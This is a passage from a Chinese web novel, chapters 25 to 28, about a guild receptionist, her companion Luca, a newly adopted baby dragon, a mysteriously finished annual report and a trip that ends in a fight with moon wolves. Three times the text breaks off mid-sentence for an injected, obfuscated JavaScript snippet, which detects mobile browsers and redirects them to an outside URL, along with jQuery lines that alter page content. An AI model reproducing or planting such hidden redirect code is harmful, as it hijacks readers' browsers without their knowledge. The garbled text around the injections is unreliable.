些不安地在里面乱动了，它时不时扒拉着箱子想要往我身上爬都被卢卡按了回去，结果就是现在只要卢卡的手出现在它的攻击范围内都会张开嘴咬下去。 没办法，为了制止这种纷争，我一手抱箱子，一手捏着龙嘴。直到进了维托的书店，小龙才安静下来。 “维托好像不在。” 书店看上去和早上来时差不多，但维托时常偷懒的位置看上去乱糟糟的。 “卡萝。”卢卡从柜台上找到了一封信。 我把纸箱放在地上，翻阅起信件：“看到这封信的人请转交给沃尔德公会的接待员卡萝——”原来是给我的信啊，那我就可以放心地拆开了。 “有事离开，暂时不回。养龙的资料在第三排书架……记得帮我锁店门，多谢。” 我和卢卡对视一眼，脚边的纸箱中，小龙不安分地爬出来，露出脑袋。我把它按了回去。 “维托那家伙走得也太匆忙了吧。”我把信放回原位，从书架上找到了我需要的东西，“看来有些事只能等他回来再问了。”比如是怎么知道我需要养龙的资料的。 小龙比我想象中要好养得多，书上没说有饮食禁忌我就给它分了点晚饭的大乱炖。这家伙很快就把盘子舔了个干净。 醉倒的大叔没有晚饭，原本还担心会剩下的料理也被多出来的小龙吃了个精光。 我戳了戳小龙的脸提醒它：“你的晚饭可是卢卡做的，所以不能再那么凶他了。不然以后就没有饭吃了。” 小龙哼唧了半天，最后摊开圆滚滚的肚皮。 “道歉不用露出肚子。”我把它翻了个面，“来，好好的握个抓。” 卢卡在我的示意下伸出手心，我捏着小龙的爪子放在他手里，象征性地晃了晃：“好，现在你们是好朋友了，要好好相处。” 睡觉的小窝定在了二楼的走廊上。这个小家伙虽然个头不大，但是爪子很锋利。我担心我的小床会受到伤害，也不放心真的让卢卡带着小龙一个屋。 真的担心喜欢金灿灿东西的龙会盯上卢卡的头发，把金发都拔光。 安静地度过夜晚，第二天我是被会长大叔的声音吵醒的。 “我是睡了一觉吧？大叔我确实只是睡了一觉吧？为什么公会里会出现一只龙？为什么它会睡在纸箱里？为什么纸箱上搭着我的毛巾？” 啊，说起来，忘了把给小龙擦水的毛巾还给大叔了。 我推开房间门，一道黑影就闪现到我的面前，“吧唧”一声撞到我的脑袋。 “嘤嘤嘤——”小龙趴在我的头顶不愿意离开。 “卡萝！”会长大叔头疼地捂住脑袋，“为什么公会里有只龙？” “捡到的。”我实话实说。 “骗谁呢！”会长大叔喊了一声，“该不会是把龙当狗的代餐养了吧？因为这个所以变回来了？” “不，我是因为卢卡变回来的。而且真要说代餐的话，卢卡说了他要当我的狗。”我真的是实话实说。 但是会长大叔不这么想，不，或许他信了。他一幅“小百合小姐宣布幸运合唱嘉宾时下台，逐步接近他最后擦肩而过的”悲伤表情：“啊……是吗……我就知道会这样……卢卡这孩子终究是养歪了……” 25. 那个已经长大的少年·二十五^…… 天色微微亮时，卢卡就睁开了眼睛。 窗外传来了雨水拍打窗户的声音，淅淅沥沥的。 今天的晨练估计是要取消了吧。他这么想着，看着天花板发呆。 果然，没过一会儿隔壁就传来了动静。 拖鞋和地板摩擦发出的簌簌声远近让他可以判断出隔壁的行动轨迹。 卡萝大概是醒了，走到窗户边看见下雨……啊，又回去睡了。 那他也再躺一会好了。 按照平日的习惯，卡萝大概会在八点左右再起床吃早饭。卢卡只要在七点半下楼准备早餐就能让她吃到热腾腾的早饭。 今天的早饭……选三明治吧。 想到走廊上还有一只新成员，卢卡暗戳戳地把本来预定的玉米浓汤改成了三明治这种没办法只用舌头舔干净的食物。 卡萝喜欢生菜和胡萝卜，欧文叔的得多加点培根……算好了厨房剩余的食材分配，卢卡听见从最远处的房间传来细细簌簌的声音。 公会的隔音并不差，只不过是他的耳朵过于灵敏了。 欧文叔起床了啊……那他也得洗漱准备点醒酒汤了。希望昨天欧文叔没有喝太多。 整理好自己，卢卡推开房门，眼睛下意识地向卡萝的房间望去，门前蹲着一只摇晃着尾巴的小龙。 捏起小龙的翅膀，卢卡把它重新放回了箱子里。想了想，又把箱子倒扣在它头上。 做完这一切，他带着清爽的心情下楼准备早餐。 锅上炖着汤，面包片也烤的酥酥脆脆，但是胡萝卜已经没有了。 卢卡差点忘了先前喂给兔子形态的卡萝一根胡萝卜。 虽然早饭少了这个卡萝应该也不会在意，但是卢卡还是果断地取下围裙，出门买菜了。 下着小雨也并不影响商贩们的出摊，他们支起棚子叫卖。 “哎呀，是卢卡呀！今天不买点鱼吗？” “去去，你一边去，卢卡，来看看水果吧！个个又大又甜！” “卢卡，卢卡，来看看阿姨家新摘下来的番茄！” 这一片的商贩们和卢卡都很熟悉，不仅常常光顾生意，人长得又帅，基本上也不会砍价的小伙子多好啊！ “抱歉，今天不吃鱼。” “不好意思，家里还有些水果。” “谢谢，但是家里人都不怎么吃番茄。” 卢卡一一回应摊贩们的吆喝，礼貌微笑。 在卡萝面前说话不太利索的卢卡，到了其他人面前又是另一幅模样了。 “请给我胡萝卜。”卢卡买了两根胡萝卜就离开了。 回去的时候正好遇上了隔壁家的大婶在遛狗——那只卡萝很喜欢的大金毛正“呼哧呼哧”地吐着舌头，看起来呆呆傻傻的。 “卢卡，买完菜了啊。”大婶挥手向他打了招呼，“卡萝最近都没找小金了呢，是不是很忙啊？” 小金就是那只甩着尾巴的金毛的名字。 “嗯，有点。”卢卡回忆了一下之前卡萝碎碎念时说的工作安排，“最近可能都没有空了。” 大婶略有些遗憾：“这样啊，我下个月就要带小金回老家了，可能明年才回来。记得和她说一声啊。” “家里人应该会很想您吧？”卢卡心情颇好地蹲下身拍了拍小金的脑袋，“带着小金多住一段时间，和家里人多相处也挺好的。” “说得也是，我家的孙女和卡萝一样喜欢小金呢。”大婶提起家里人，又乐呵呵地笑了起来。 愉快地送走大婶，卢卡推门回到公会。 “啊……是吗……我就知道会这样……卢卡这孩子终究是养歪了……”欧文叔的声音从楼上传来。 卢卡抬眼就看见那只黑漆漆的家伙正黏在卡萝脑袋上。原本因为小金要离开好一段时间而明媚的心情又有转阴的倾向了。 卡萝为什么会那么喜欢小动物呢？他对此感到非常不解。 “卡萝。”他喊了一声，把注意力引到了自己身上，“胡萝卜。” 提起手中的袋子晃了晃，卡萝的眼睛也跟着转了转。 “还有，醒酒汤。”卢卡指了指厨房，示意那位爱酒人士。 欧文大叔一幅感动的模样：“卢卡……你果然被很好地养大了。” “你刚刚还说他被养歪了。”卡萝面无表情地指出他刚才的所作所为。 “哎呀……不要在意这些细节……” 将三明治端上桌时卡萝疑惑了一下：“我还以为今天是玉米浓汤呢。” 啊，不会被发现了吧。 卢卡倒是有信心自己不会在被发现后责怪，但是他担心卡萝会因为这件事分给小龙过多关注。 毕竟卡萝很善良，如果有弱小的生物引起同情，她就会很认真地照顾。 这只小龙是这样，先前捡到的小狗还有他都是这样。 “因为，醒酒汤。”卢卡指了指锅。厨房只有一个煮锅，给欧文煮了醒酒汤就没有多余的锅煮玉米浓汤了。 “这样啊。”卡萝了然地点点头，她脑袋上的小龙也跟着一晃一晃的。 如果没有这只小龙的存在，卢卡可能会觉得卡萝这个动作很可爱。但是有，所以这让他的心情又不太好了一些。 “好了，你快下来。”卡萝似乎才想起来自己头上有个生物，把它挪了下来。 虽然并不想给，但卢卡还是推了一盘三明治过去——没有培根版的。 小龙似乎因为三明治不太好进食的原因，一直嘤嘤叫着。尾巴也非常无礼地缠绕在卡萝的手腕上。 “咳咳、卡萝。”欧文提醒道，“最好不要让小布莱克养成这个习惯，等它长大以后尾巴能直接绞断你的手腕。” “小布莱克是谁？” “这只小龙啊。” “它叫嘤嘤。” “好，那就嘤嘤·布莱克。” 对于起名这种事情，卢卡是不太赞同的。 有了名字就代表有建立、维系感情的想法，他不太希望养这只小龙。 不过他在家里向来没有什么话语权，所以保持着沉默。 反正卡萝昨天说的也只是随便哄哄他而已，就像小时候不小心忘了还要教他认字然后给他念故事书哄睡一样。 当然，他也知道，只要他开口反对养龙，卡萝就不会再让这只小龙出现在公会里。但可能就像昨天说的，去别的什么地方养。 那还不如在公会里养。 “唉……吃吧吃吧。”卡萝三两下解决完自己的早饭，挪来小龙的盘子一点点掰着三明治喂给它。 卢卡觉得自己心里酸酸涨涨的，就像小时候看见卡萝一直在跟小狗玩完全忘记他的存在一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497462|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 所以说，狗这种生物，我也可以当嘛。 他有些不服气地想。 而且我以前和狼群的大家相处得也很好啊，不管是看家还是打猎肯定都比它们做得好很多。 “说起来，欧文叔，你昨天见到维托了吗？” “咦？印象里好像是有……他说了句什么然后告诉我们不用担心，最后说账单他来付让我们开心享乐就好。” “……所以你们就喝酒了？” “呃……” 卡萝和欧文的对话卢卡一个字都没听进去，他只是鼓着脸盯着小龙的尾巴。 还在缠着，真讨厌。 “卡萝。”他忍不住出声指了指她的手腕，“印子。” 本就白皙的手臂在龙尾的缠绕下很快就留下了红印。 欧文也催促道：“让它快点松开吧，它只听你的话。” 卡萝却不怎么在意地说：“没关系，缠得越紧不就代表它越喜欢我吗？” “哈……？”欧文被这种观念震得只能从喉咙里挤出一声质疑。 “唔——以前有人跟我说的，越是喜欢就越要缠紧。令人感到窒息的就是爱情。” 卢卡不知道这种观念的对错与否，毕竟没人教他。但看欧文的表情，这种想法好像并不对。 “不是，你等一下，谁教你的？” “啊，就是在遇到大叔之前……” 欧文比了个手势，示意她暂停：“好了好了我知道了，总之，你以后如果有喜欢的对象了，首先要告诉我才行。” “为什么？” “……我至少要确保你不会真的把对方勒死……”欧文忧心仲仲。 卢卡恍然大悟。 欧文叔没有纠正卡萝的想法，所以说只是担心她，并不是因为卡萝的观念是错误的。 原来如此，原来如此，喜欢一个人就要缠得紧紧的不能松开。原来如此。 所以……呃……他也得把卡萝和欧文叔缠得很紧才能表达自己喜欢他们吗？ 在他若有所思之时，欧文连忙转身教育他：“卢卡，你要记住，如果对方不愿意的话绝对不能这么做啊！” 卢卡点头：“嗯。”是愿意就可以做的意思吧！他完全明白了！ “八点半了，准备一下吧。”卡萝拍了拍手上的面包屑，伸了个懒腰。 今天是周日，卡萝打算借着这个机会联系一下装修队的人。 她拉着卢卡和欧文一起出门，在临出门时，本该看家的小龙闹着要和她一起，最后如愿以偿地趴在卡萝的头顶。 啧。 “……就是这样，大概需要多长时间呢？” “嗯……三个月。” “三、三个月？” “是啊，毕竟想要再盖一栋楼还得装修到能住人的程度至少也得三个月。” 卡萝陷入了沉思，虽然在其他人眼里就是面无表情罢了。 “三个月啊，差不多正好到年底的时间。”欧文算了算日子，“如果能提前把年度报告都上交然后关门三个月也没什么问题。” 他又压低了声音：“而且，这里的价格是几家最便宜的了。我们能够省下一笔预算，休假旅游也够用。” “好的，我们这边没问题。”卡萝果断伸出手握了握对方，“就拜托你们了。” 26. 工作法则二十六 年度报告……年度报告啊…… 不是很想写啊……毕竟那原本是几个月后的任务，现在必须在一周内完成了…… 是的，一周。 因为种种原因，最后定下来改建公会的时间就在一周后了。 这就意味着，要在这一周内完成休业的通知和年度报告。 休业的通知倒是好说，只要张贴在公告板上，大家就能看见。再不济，等冒险者们看见紧闭的公会大门和门上挂着的“暂停营业”牌牌也能明白。 但是，年度报告这种东西，我一般都在十月、十一月开始准备。两个月，每个工作日，花上半个小时去完成这项工作。 但，现在，要让我在一周内，在还有其他工作的情况下，完成一份年度报告…… 不知道是该指着先前觉得没问题的我的鼻子骂，还是该去找会长大叔过来一起干活……算了，他应该会越帮越忙…… 我按了按太阳穴，把这个月的《冒险者杂志》回信写完。 还得向玛格丽特小姐报告后面三个月的寄信地址更改……不，休假的时候我可不想工作，还是想办法和她商量下能不能提前完成写信吧。 用蜡给信件封口，我又弯下腰从柜子里取出今年的所有工作记录。厚厚一沓的文件大约有小臂这么高了，要整理起来得花费不少时间。 “……”我把不知道什么时候又压在脑袋上的小龙嘤嘤摆到桌子上，沉默着和这堆文件对视。期望能有好用好骗的善良之人来帮我写报告。 “卡萝。”卢卡拎着扫帚过来，“完成。” “嗯嗯好，扫完地了就去洗碗吧。”我敷衍地应了两声。 卡萝，就算这样盯着也没办法改变文件的厚度。这里可没有能够帮你洗衣服做家务的海螺小姐。 “……明天再做吧。”我把文件搬到一边的椅子上，把椅背朝向我，试图用“椅背遮住文件”这种方式逃避繁杂的工作。 “你快去啊！” “上啊！队长！我们支持你！” “嘘，小点声啦……” “咳……那个……” 我抬起头，一位冒险者正挠着脸颊，眼神左挪右移也不跟我对视。 “您好，是来交付任务的对吧？BR-267任务是清剿森林湖畔中的巨大化魔蹄兽，请提交魔蹄兽的鬃毛或是下肢的触手。”我翻出任务的相关资料，等待他们交付材料的同时盖下“完成”的印章。 “啊，是、是的，这是鬃毛。”他从口袋里掏出一把黑色的毛发，放到了桌子上。 小龙嘤嘤只是轻轻地瞄了一眼，就无聊地翻了个身，屁股朝着外面。 魔蹄兽死亡会有两种特征，一是上半身类似马的半身全部失去色彩变成黑色，二就是下肢类似章鱼的触手会硬化蜷缩成拳头大小。不过，巨大化的魔蹄兽触手，应该不可能只有拳头的大小就是了。 “嗯，好的，这边确认过了，确实是魔蹄兽的鬃毛。那么你们的任务完成。这边是报酬。”我盖下印章，原本薄薄的任务单立刻鼓了起来，直至变为钱袋的形状。 “队长怎么回事啊……” “不是说要表白的吗？” “趁那个金毛不在，快冲！” 另一边窃窃私语的声音确实稍微大了点，连我都能听见了。 “那、那个，卡萝小姐，我想说的是……呃啊！”在冒险者结结巴巴红着脸，一点点挤出话的时候，我们家的小龙嘤嘤嗷呜一口咬住了对方还捏在手里的钱袋。 “十分抱歉，是我们家的孩子做得不对。”我把这个小东西拽了回来，藏在身后，“真是不好意思，请您原谅它吧。” 弯腰道歉，这一系列的动作我都做得无比顺滑。用上了我“金牌接待员”的专业道歉技巧。 快人一步承认错误，诚恳道歉，配合鞠躬低头的动作给对方一个措手不及。接着就是处理方法和赔偿条款的连招让对方欣然接受歉意离开。 不过这次我还没来得及把赔偿的条件说出口，对方就一脸憋屈地摆摆手离开了。 嗯……应该不会投诉，那位冒险者常常来，是个和善的老好人性格。 “嘤嘤，这样做是不对的。”我严肃地教育了它，“想要金币的话那就要自己去挣钱，不可以抢钱。” “不，我觉得应该不是这个问题……”会长大叔慢慢从楼梯上走了下来，“你不觉得这孩子对你的占有欲太强了吗？” “有吗？”我和嘤嘤那双金色的眼睛对视，它圆溜溜的眼睛眨了眨，“没有吧。” “好了，现在也快五点了，今天就提前休息吧。”大叔到门外把营业的牌子翻了个，“卡萝，记得这周要把年度报告完成啊。我们要赶在周一把年度报告寄出去。” “……知道了。”提前下班的好心情又一扫而光了，我纠结了一小会儿，把文件放在那就回房间了。 第二天，清晨。 惯例准备出门晨练的我，在下楼时下意识地扫了一眼柜台的状况。 嗯，台面整洁，椅子上也干干净净……等下！ “文、文件……”我把椅子从上到下调查了一遍，一张文件的影子都没有。 完、完蛋了……公会遭贼了……文件被偷那我的年度报告……不对，现在应该立刻清点财物损失才对。 我弯下腰，打开抽屉，又是一愣。 昨天放置在椅子上的文件已经整整齐齐地摆放好，在最上方还放着一份《年度报告》。 颤抖着手翻开那份文件，字迹和我的一模一样不说，就连一些用词都和我的习惯很像。 “卡萝？”卢卡从厨房出来，疑惑地看着我。 我努力平复了内心：“卢卡，你知道吗，我好像见到海螺小姐了……” “是你自己完成然后忘掉了吧。”会长大叔不太在意地泡了杯茶，“虽然大叔很感动你怀疑是我帮忙做的啦，但是我昨天一下班就去酒吧听小百合小姐唱歌了哦。” “不，我也没觉得是你做的。”早饭期间，我把这件事分享给了会长大叔，但他坚定地认为是我自己做完然后忘记了这件事。 我咬了口面包，把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504822|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的思考念叨出来：“不可能是卢卡，他写不出来这么工整的字。更不可能是大叔你，你以前写的年度报告都是我帮忙改的。更不可能是我自己啊，我昨天下班就回去看小说了……” 公会也不会进贼，因为有卢卡在。难道是…… 我的眼神落在吭哧吭哧自己举着面包啃的小龙嘤嘤身上：“难道是嘤嘤写的？” “我觉得还是你自己梦游起来写报告的几率更大一点吧。” “不，我又不会做梦，那还是嘤嘤写的几率更大吧。” 会长大叔嘴角一抽，最后还是没有多说什么，只提醒我：“检查下内容，没问题就用。” 我和大叔的意见一致，不管是谁以什么样的用意完成了这份文件，只要内容没有问题就可以直接用。 “我检查过了，内容完全没问题。”翻看完整份文件，我感慨道，“如果能知道是谁写的就好，我一定要把那个人带进公会帮我完成文书工作。” 会长大叔哼笑：“你想的倒是挺美，不发工资也没有好处，人家凭什么帮你工作。” “没有关系，这个世界上还有多种雇佣关系，比如朋友、恋人还有夫妻。”我竖起手指认真地比了个“3”的数字。 “……大叔我什么时候给你灌输过这种观念？” 不管会长大叔怀疑自我的表情，我严肃地给呆呆二人组——卢卡还有嘤嘤上课。 “你们要记住哦，除了家人这种可以无条件地索取和劳动的对象，像是朋友、情侣还有夫妻关系都要慎重。虽然夫妻关系到了一定程度就会演变为家人，但是在那之前，决定是否要成为夫妻是要慎重中的慎重。” “听好了，朋友是需要定时定量联系的，至少也要有月度报告，超过一段时间不联系就属于解除雇佣关系了。而你能获得的报酬就是有限程度的帮助，等量的联系，可能扩大的人际关系以及或许会有的情感满足。” “不是……” 无视会长大叔微弱的反驳，我继续教学：“情侣，就是比朋友更低一层的雇佣关系了。不仅需要你耗费更多的时间精力去维持关系，甚至还需要用到身体劳动。” “夫妻……就是最底层的关系了。”我压低了声音，“不断地妥协牺牲，几乎不间断地交流，消失的休闲时间，被挤压的个人空间，还有无法逃离的魔爪……唔。” 会长大叔给了我的脑门一掌：“瞎说什么呢，不要带坏好孩子。” 我揉了揉脑门道：“这是我潜伏在人类社会多年观察到的经验总结，是蕴含了智慧的结晶。” “你观察了那么多年，总结出来的就只有负面影响吗？” “有正面的呀，朋友关系有很多。” “那情侣和夫妻呢？” “额……可能是样本不够充分。” 会长大叔又给了我脑袋一戳：“你啊你，按照你的说法来看，岂不是所有稍微亲密的关系都只会带来负面反馈嘛。” “没有啊。”我认真道，“像我、大叔还有卢卡，现在加上嘤嘤组成的家人关系就不是啊。” 27. 休假法则二十七 虽然大叔说他很感动，但是我还是被敲了脑袋。 唉，都已经那么么大年纪了还会因为这种事情害羞。 不过最麻烦的年度报告已经有不知名好心人完成了，所以我只要在这周的剩下几天正常工作，顺便收拾收拾出门的行李就好。 “那么，第一次旅游会议就正式开始了。”周三的晚上，我们决定通过家庭会议选择最终的旅游地点。 会长大叔指尖不断敲打着桌面，似乎有什么话想说。 我把首位发言的权力让给了他：“欧文先生，你似乎有话想说，请讲。” “好。”他深吸一口气，“事实上，我不参加这次休假。” “为什么？”我猛拍桌子，“先前说好的全家出游呢？” 他双手在空中往下虚按，试图让我冷静：“别急别急。” 这家伙……肯定早就决定了，想拖到临行前再说这样就不用接受质问了。结果没想到我打算开会讨论旅行的目的地，所以提前暴露了！ “你看，公会要改建不是吗？所以大叔我就忍痛留下来当监工了。” “那就我……”额，我不能留下来。如果我要留下，那全员都会要求留下的。我在这方面还是很有自知之明的。 “那、那就雇人帮忙监工吧。”我在反复计算过自己的备用资金足够雇人后开口，“雇人的钱就，我出吧……”虽然不想有多余的花销，但是家庭旅行当然要整整齐齐的才行。 “没想到卡萝这么想让大叔我去。”会长感动地用手抹了抹眼角，那里十分干燥，“但还是不行。” “为什么？” “卡萝最想去哪里？”他没有回答我的问题，反而用另一个问题提问。 我低头看了一眼计划本：“雪乡温泉、精灵村、黄金之城……”除了黄金之城，开销都不大。 “我们的经费只够你和卢卡带着布莱克去黄金之城的哦。”会长大叔耸耸肩，“雪乡温泉和精灵村的开销不大是没错，但是车马费你有算上吗？” 雪乡温泉在最北边，精灵村在西边，离沃尔德村都有不远的距离。 “车马费我当然算了。”我怎么可能犯这种低级错误。 “那你知道最近临近年末，雪乡温泉和精灵村这种热门景点会带动周边地区的经济发展吗？也就是说，那一路上的驿站都会收双倍的关卡费，增加收入的同时限制游客人数。” 可恶，忘了这点。 大叔看我无话可说，趁胜追击道：“而黄金之城离这里不远，由于黄金王的要求，游客也不会很多，相对来说是最好的选择。” 黄金王在最近一个月公布了新的进入黄金城的规则：只要提交工作证明，填写申请表格，就有机会进入。 我在得知这个消息的时候就有着手准备了，我、卢卡还有会长大叔的申请都提交上去了。 “这是你和卢卡的通行证。”会长大叔从衣服里摸出两封信件推到我们的面前，“今天刚到的。” “你的呢？”我盯着他放信件的口袋，“你的通行证应该也到了吧？” 他无奈笑笑：“很遗憾，我没通过筛选。” “怎么可能呢？规则上说只要有超过两年的固定工作以及足够的月工资数额就可以通过的。”我连忙翻了翻本子前面的笔记，确认上面写的和我记忆中的一致。 “哈哈哈，可能是嫌弃我年纪大了吧。”会长大叔不太在意地干笑两声，“总之，这次旅游就你们带着布莱克去吧，大叔我对黄金城也没什么兴趣。” 我原本还想反驳，最后还是闭上嘴接受了这个结果。 要是用把倔强或者说固执分个等级，满级十级，我大概只有五级。卢卡七级，大叔九级。 他已经决定的事情很少有人能改变。 “好吧。我知道了。”我不太情愿地小声嘟囔。 通行证给我的时限倒是很宽松，有一年时间都可以自由进出，还能携带宠物，限量三只。不过只给了卢卡一个月的时间。 “嗯，这样也好。”我悄悄和卢卡耳语，“我们就出门一个月，剩下的两个月就回来陪大叔一起监工吧。” 别看会长大叔说得很洒脱，但是这人很怕寂寞。 卢卡揉了揉耳朵，然后点头应下。 出发去黄金之城前，我叮嘱着大叔：“少喝酒，少熬夜，偶尔运动运动。如果我们回来之后你胖了，就等着魔鬼减肥计划再次启动吧。” 我的威胁很有效果，大叔回想到那年的经历，颤抖着答应了。 虽然说是魔鬼减肥计划，但我觉得也还好啦。我和卢卡都有陪着练，饮食也一视同仁地的十分清淡。 不过是每天两小时的绕山跑步，三百个仰卧起坐而已。饮食除了少油少盐，三餐时间把控在八小时内，也没有缺肉吃啊。每天都有鸡胸肉或者鱼肉，蔬菜汁和沙拉也让营养搭配均衡了。 陪了大叔减肥三个月，最后我和卢卡反而是瘦得最多的。大叔因为每晚偷偷说夜跑，实际上溜去森林里烤野兔、野猪什么的吃，反而胖了。 减肥计划的破产最后还是因为当年的体检报告显示大叔是健康的，否则我肯定还会抓着他继续锻炼。 小龙嘤嘤这次待在我的帽子里，考虑到路程中最好还是轻便宽松的衣服，所以我选择了一身戴着兜帽的行装。那还是卢卡买给我的。 卢卡也没穿冒险者的衣服，他换了件普通的白色衬衣，银剑被伪装成了雨伞。 因为这次出门没有人报销，所以我和卢卡选择了最简单省力的出行方式——用腿走。 车马更轻松是没错啦，但是性价比最高的果然还是走路吧。我们的行李也没有很重，走起来也不会很远。 而且我也想过了，如果真的很累，就现场抓两只魔物。骑到附近的镇子上休息一晚再到附近抓一只，直到到达黄金之城。 这比雇马车便宜多了！ 想到这里，我的嘴角不由得上扬了下。 “啊。”卢卡突然发出来小小的惊呼，“卡萝、笑了。” 我自己才意识到这件事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14524150|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用手摸了摸嘴角，确实是上扬的状态。 “我还是第一次真切地体会到自己是会笑的人类这件事。”我偷偷抽出卢卡的银剑照了照自己的笑容。嗯，很可爱。 提起笑容，我就想起了前些天的事情：“说起来，从兔子恢复的时候我只顾着穿衣服了，都忘记确认自己有没有笑了。” 卢卡歪着头想了想：“没有。” “这样吗？我还以为我当时肯定笑了呢。”看来是变回人类后没能保持着笑容就急匆匆地拽着披风穿上了。 啊，说到披风。我悄悄试探了下卢卡：“那天有看到什么吗？” 如我预料，卢卡一脸茫然。 嗯，很好。还是单纯的孩子呢，卢卡。 我欣慰地拍了拍他的后背：“好啦，咱们继续前进吧。” 现在行走的这片森林就是先前有烈焰猪出没的那片，树林里静悄悄的，但我仍然能感受到窥伺的视线。 大概是有卢卡在的原因吧，这些弱小的魔物只是默默注视着我们路过，没有一个上前。 顺利穿过森林没有遇到阻碍，我们顺着大路行走在乡野间。 周边的田地长势很好，一片欣欣向荣的景象。 “果然感觉很舒畅啊。”我感叹道，“摆脱了日复一日的机械工作，感觉生锈的四肢都变得松快了很多。”甚至有种灵魂轻飘飘不再被束缚的感觉。 卢卡对此没有发表想法，但是他翘起的两撮头发像是小狗耳朵一样晃了晃。看样子他的心情也很愉快呢。 “是久违的两人出行呢。”之前是因为工作所以不能算，“这么算的话，我们好像有五年没有单独出门旅行了。” 五年前，卢卡还没有注册成为冒险者的时候，我经常在公会客流量变小的月份拉着卢卡出门玩。嘴上说着“带他见识见识外面的世界”，事实上只是我想出门玩啦。 会长大叔那时候还没有胖成圆滚滚的样子，但是也已经有那样的趋势了。他总是笑眯眯地挥挥手目送我们离开。 公会刚起步的时候没有选择权，除了周末外几乎全年无休地营业。我虽然也有帮忙减轻工作，但是大叔他毕竟是身兼数职，忙得像陀螺一样。 除了暑期，酷暑让冒险者们减少了外出，公会的任务单也会在那个时候轻薄不少。 我和卢卡在公会的话，大叔就不能好好休息了。因为我们俩年纪小，每天都早早出门晨练，会影响到他睡觉，所以我会选择这段时间出门，顺便让他休息休息。 会长大叔也会趁机度过一个每晚都能喝酒的美妙之月。 “五年啊，感觉过得好快。”我把探出脑袋想和我蹭蹭脸的嘤嘤按回帽子里，“不知不觉也这样子生活了十年多呢。” 感叹的余韵还未过去，我们已经抵达了休息的小镇。 “天还没黑，我觉得继续前进也可以。”露宿野外除了洗漱不太方便，其他的我倒也没有意见。 卢卡也如此认为。 然而，这是我这次出行做的第一个错误决定。 28. 休假法则二十八 夜晚的森林很是安静，除了木柴燃烧的“噼啪”声外，只有风扰动树叶的“沙沙”声。 我和卢卡刚解决了晚饭，现在正准备入睡。 “上半夜就让我来守夜吧，等到下半夜我会叫你的。”没给卢卡选择的权力，我直接做了决定。 如果把卢卡分配到上半夜，那有百分之八十的概率是不会叫醒我，一直守夜到天亮的。 这次出门没有带帐篷睡袋这种道具，所以我们两人加上嘤嘤一起挤在一个毛毯里面。背后是树干，身前是火堆，旁边是彼此。 卢卡很快就睡着了，他的脑袋滑落到我的右肩，呼吸声很是平和。 土壤与草木的清香总能让我回想起过去，不过，晃动的灌木丛提醒了我，现在可不是回忆过去的时候。 轻轻把卢卡的脑袋扶正，我给他们两个盖好毛毯，朝发出声响的灌木丛走去。 “原来是月狼。”瞄见红色的眼瞳时我就自觉停下了脚步。 月狼，群居型魔物，多在月夜出没。领地意识异常强烈，会对侵犯领地的物种实行围猎追捕。 身后也有爪子与草地接触的身影，看来是我们不小心误入了领地引来了狼群的围猎。 卢卡还没醒，嘤嘤也睡得正香。 “那就尽快解决吧。”我压低了声音，摸出了噤声卷轴，将其撕碎。 银色的魔力以我为中心向四周辐射，直至蔓延到10米外形成了半球形的领域。 在这片区域内，所有的生物都无法发出声音，物体的碰撞声也会完全消失——直到十分钟后，领域才会破碎。 将箭矢搭在弓弦上，我首先瞄准了一直紧盯着我不放的这只。它的眼睛告诉我，我是它的猎物。很巧，我也将它视作今晚的第一个猎物。 弓弦已经弯成完美的弧度，只要我轻轻松开就可以送它永眠。 没有犹豫的必要，松开弓弦，箭矢带着势不可挡的气势飞了出去。 没有听见破空声和箭尖刺入皮肉的声音令我有些不适，这份沉寂和我习惯的战斗不同。 禁了声音不仅会对月狼造成影响，同时也会干扰我的部分判断——前提是我真的只靠耳朵判断。 就算蒙上眼睛，捂住耳朵我也可以清楚地判断出附近魔物所在的位置。 一、二……、八、九，一共九只，圆形的包围圈。灌木丛下四只，粗壮树干后五只。 没有狼群首领的嚎叫示意战斗开场，月狼们迟迟不敢行动。它们的谨慎方便了我的偷袭。 箭矢一支接一支，悄无声息地赠予永眠。它们鲜红的双眼瞪大，似乎不明白为何战斗就这样无声无息地结束了。 几乎毫不费力，我收拾完了这批扰人清梦的魔物。 十分钟还没到，噤声卷轴的领域仍然生效。 我坐回树干边，捧着脸思考。 九只月狼啊……公会的规定是超过五只魔物就可以判定为清剿任务了，月狼的话一般是需要提交狼牙作为判断标准。 因为月狼的牙齿会在死后失去原有的光泽，只留下淡淡的月色，所以会通过检查牙齿的光泽颜色确认任务的完成情况。 不知道附近的冒险者公会有没有清剿月狼的任务……九只的话，大概是C级任务，也就是1000金左右的报酬呢…… 